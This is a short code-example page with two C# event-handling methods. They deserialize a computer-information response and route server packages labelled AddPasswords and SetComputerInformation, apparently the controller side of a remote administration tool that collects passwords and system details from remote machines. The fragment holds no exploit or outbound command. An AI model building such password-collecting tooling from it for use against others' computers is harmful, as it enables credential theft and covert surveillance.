public override void ResponseReceived(byte[] parameter)
        {
            switch ((CommandResponse)parameter[0])
            {
            case CommandResponse.Failed:
                LogService.Error(
                    string.Format((string)Application.Current.Resources["GatheringComputerInformationFailed"],
                                  Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1)));
                Failed?.Invoke(this, EventArgs.Empty);
                break;

            case CommandResponse.Successful:
                var serializer          = new Serializer(typeof(Shared.Commands.ComputerInformation.ComputerInformation));
                var computerInformation =
                    serializer.Deserialize <Shared.Commands.ComputerInformation.ComputerInformation>(parameter, 1);
                computerInformation.Timestamp = computerInformation.Timestamp.ToLocalTime();
                LogService.Receive(
                    string.Format(
                        (string)Application.Current.Resources["ComputerInformationSuccessfullyReceived"],
                        computerInformation.ProcessTime));
                ComputerInformationReceived?.Invoke(this, computerInformation);
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
示例#2
0
        private void ProcessServerPackage(ServerPackage serverPackage)
        {
            switch (serverPackage.ServerPackageType)
            {
            case ServerPackageType.AddPasswords:
                PasswordsReceived?.Invoke(this,
                                          new PasswordsReceivedEventArgs(
                                              PasswordDataSerializer.Value.Deserialize <PasswordData>(serverPackage.Data),
                                              serverPackage.RedirectPackage != null, serverPackage.RedirectPackage?.Administration ?? 0));
                break;

            case ServerPackageType.SetComputerInformation:
                ComputerInformationReceived?.Invoke(this,
                                                    new ComputerInformationReceivedEventArgs(
                                                        ComputerInformationSerializer.Value.Deserialize <ComputerInformation>(
                                                            serverPackage.Data), true, serverPackage.RedirectPackage?.Administration ?? 0));
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }